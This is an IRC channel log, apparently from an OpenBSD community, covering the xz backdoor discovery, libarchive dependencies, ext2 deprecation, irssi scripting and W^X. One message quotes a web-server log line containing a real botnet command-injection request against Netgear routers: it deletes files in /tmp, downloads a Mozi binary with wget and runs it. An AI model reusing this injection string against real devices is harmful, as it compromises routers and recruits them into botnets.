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00:15 < oldlaptop> aaronm04: "disguised as a binary test file" would be a better description
00:15 < thrig> it could be both!
00:15 < oldlaptop> A point.
00:18 < oldlaptop> If you go back and read Mr. Freund's detailed write-up (https://www.openwall.com/lists/oss-security/2024/03/29/4), however, you'll note that these *particular* files aren't actually used for any sort of test
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00:22 < thrig> how sloppy of them
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00:24  * oldlaptop would note that the threat actor appears to have, uh, bugfixed the backdoor after its initial commit too
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00:32 < thrig> maybe it was a boaking accident
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00:38 < cat5> ssm_: wat's up with libarchive?
00:40 < ssm_> cat5: nothing. except that libarchive depends on xz
00:42 < ponycat> can the windows utility rufus make an openbsd usb?
00:42 < cat5> ah yeah dang, i see trying to delet xz would blow a nice hole in my xfce
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00:45 < sibiria> ponycat: yes
00:45 < ponycat> cool
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03:20 < ssm_> cat5: oh wait it was that the dev behind the backdoor (Jia Tan) also has commits in libarchive
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04:44 < cat5> ssm_: i guess our systems are pwnd
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05:09 < remiliascarlet> https://github.com/tukaani-project/xz This backdoor was so bad, Micorsoft decided to disable the repository for voilating the Microsoft GitHub TOS.
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05:12 < mybalzitch> happened so fast you'd think it was a fan remake of some AAA publishers long dead IP
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07:41 < monkeybusiness> remiliascarlet: surely making it read only while marking the project as compromised wasn't the solution to the problem.
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09:01 < IcePic> ssm_: Previously, ports were (sometimes) built using the sandbox frame work Systrace, and at least one malicious port configure got caught violating it earlier
09:03 < ponycat> what uses libarchive?
09:03 < ponycat> anything in base?
09:04 < IcePic> no, base is very seldomly reaching out to ports
09:05 < IcePic> to find some of the ports that does look for it: find /usr/ports -name Makefile|xargs grep -l "WANTLIB.*archive" 
09:06 < IcePic> cmake, gimp, evolution, samba, vlc and gnome/kde seem to pull it in, along with a few others
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09:09 < ponycat> the openports page says bsdtar is a frontend for it. what is bsdtar? is that freebsd's tar?
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09:11 < ponycat> https://en.wikipedia.org/wiki/Libarchive
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09:11 < ponycat> ahh
09:12 < ponycat> libarchive provides command-line utilities called bsdtar and bsdcpio.[3] These are complete re-implementation based on libarchive.[9][10] These are the default system tar and cpio on FreeBSD, NetBSD, macOS and Windows.[5]
09:12 < ponycat> damn
09:12 < [0x1eef]> FreeBSD base has libarchive, and xz. 
09:12 < IcePic> https://unix.stackexchange.com/questions/101561/what-are-the-differences-between-bsdtar-and-gnu-tar
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10:42 < remiliascarlet> When I checked xz versions last morning, only Void Linux and CRUX had the backdoored versions. OpenBSD, FreeBSD, PostmarketOS, and Devuan all didn't.
10:43 < remiliascarlet> Just checked NetBSD now that I have it opened up anyway, that too seems to be unaffected.
10:44 < [0x1eef]> FreeBSD 14-STABLE and -CURRENT has the latest version from what I heard. But they're not impacted by it. 
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10:45 < remiliascarlet> My FreeBSD 14 machines all run the -RELEASE branch, this branch has xz 5.4.4
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10:47 < remiliascarlet> But yes, I think none of the BSD's have anything to worry about. The backdoor happens to be using a systemd-specific notification library, and systemd can only be built with glibc, and none of the BSD's have either of these.
10:47 < remiliascarlet> Same goes to Alpine Linux, and the musl installations of Void Linux and Gentoo.
10:48 < c_rw> yea its systemd
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10:48 < [0x1eef]> Yeah, hopefully that will be the case. I don't think it is known whether or not that's all there is to it yet.
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11:49 < cat5> remiliascarlet: i can report that TempleOS is safe too
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12:02 < remiliascarlet> cat5: And so are most PC's owned by Amish people.
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12:04 < betabug> I distinctly remember having unchecked the box "install backdoors" when I installed openbsd
12:05 < [0x1eef]> cat5: xD
12:05 < A1ice> install xz-utils XD
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12:08 < cat5> amazing how much crap gets flung at my httpd server "GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://192.168.1.1:8088/Mozi.m+-0+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0"
12:08 < [0x1eef]> Normal.
12:09 < cat5> some day I will configure some kind of fail2ban thing
12:10 < byteskeptical> not if you have a netgear
12:11 < cat5> heh 
12:11 < byteskeptical> jk honestly I find the pf connection tracker to be quite enough in most cases
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12:29 < cat5> I should spend some time learning to use it effectively
12:31 < sibiria> usually a lot less complexity and maintenance to just ignore the botnets going through their metasploit catalogue to get in, unless the amount is so much that it's really eating resources
12:32 < cat5> yeah the server is doing fine, the bots are probably the only traffic it gets
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16:11 < ssm_> seems linux is deprecating ext2. That's going to be annoying, since it's the only filesystem openbsd supports that supports unix file permissions that work with linux to my knowledge 
16:11 < ssm_> I much prefer using it to something like fat32 when I can
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16:12 < ublx> it might be that the ext2 driver is being deprecated, whilst mkfs.ext3/4 will still be able to produce ext2 file systems; that was my takeaway but didn't dwell closely enough to be certain of that
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16:14 < vortexx> yeah that's my thought too ublx 
16:15 < vortexx> ext2 > fat32
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16:28 < visl> i have to do ulimit -d some_big_number before starting firefox to keep tabs from crashing on aws's huge management app. -- what is a reasonable some_big_number? how do i see how much of that firefox is currently using so i can better tune it?
16:29 < dostoyevsky2> Does OpenBSD support ifuncs?
16:32 < jmcunx> never heard of ifuncs, but if OpenBSD had it I would expect there to ma a man page for if
16:33 < jmcunx> ma = me, if = it, plus no man for ifuncs or ifunc
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16:44 < Red> ext4 can mount ext2 filesystems under linux
16:44 < Red> didn't know ext2 was supported, interesting
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16:49 < sibiria> ext has always been backwards compatible. in limited aspects it's also forward compatible
16:49 < sibiria> ext2 can mount ext3 sans journaling and the other new features of ext3
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18:16 < lts> Are there some gotchas that should be known with irssi and OpenBSD? I moved a very simple URLbot (essentially an irssi script) to OpenBSD and can't get it to trigger anymore. It's as if "Irssi::signal_add('message public', 'check_for_urls');" does nothing
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18:31 < uwharrie> I'm using https://github.com/irssi/scripts.irssi.org/blob/master/scripts/openurl.pl without issue
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18:33 < lts> Thanks, I'll just need to debug further then
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19:16 < lts> Got it. OpenBSD had some newer versions of the perl classes which had some breaking changes
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20:52 < rdbo> hey folks! i used openbsd for a while just for fun, but one thing i never tested and that has been in my mind is W^X
20:52 < rdbo> if i understand correctly, W^X prevents a page from being writable and executable at the same time
20:52 < rdbo> but what if you do `mprotect()` and change the page to write, and then change it to execute? does that work?
20:53 < rdbo> or a page that has been writable can never become executable again?
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20:56 < thrig> at that point you reboot when you need to get executable pages back
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21:03 < rdbo> i mean like forcefully changing the protection of the pages with `mprotect()`. W^X prevents them from being executable and writable at the same time, but could i do `mprotect(..., PROT_WRITE)`, write a payload, then `mprotect(..., PROT_EXEC)` and let the payload run?
21:04 < rdbo> inside a userspace process, idk much about kernel space
21:04 < thrig> gemini://thrig.me/software/assembly/slab-of-code/
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21:19 < jrmu> how is NVMe support on openbsd?
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21:20 < sibiria> runs fine in my case
21:20 < sibiria> i have no idea about TRIM
21:21 < jrmu> ah, thanks, hmm
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21:24 < adig> Fyi, one problem with booting Plan 9 on vmd were the virtio drivers, I ported them from 9front. The keyboard errror was not an actual problem.
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21:46 < vortexx> TRIM keeps getting brought up on misc@ and the answer seems to be that FFS has been patched for it
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22:03 < SNAX_74> Hello
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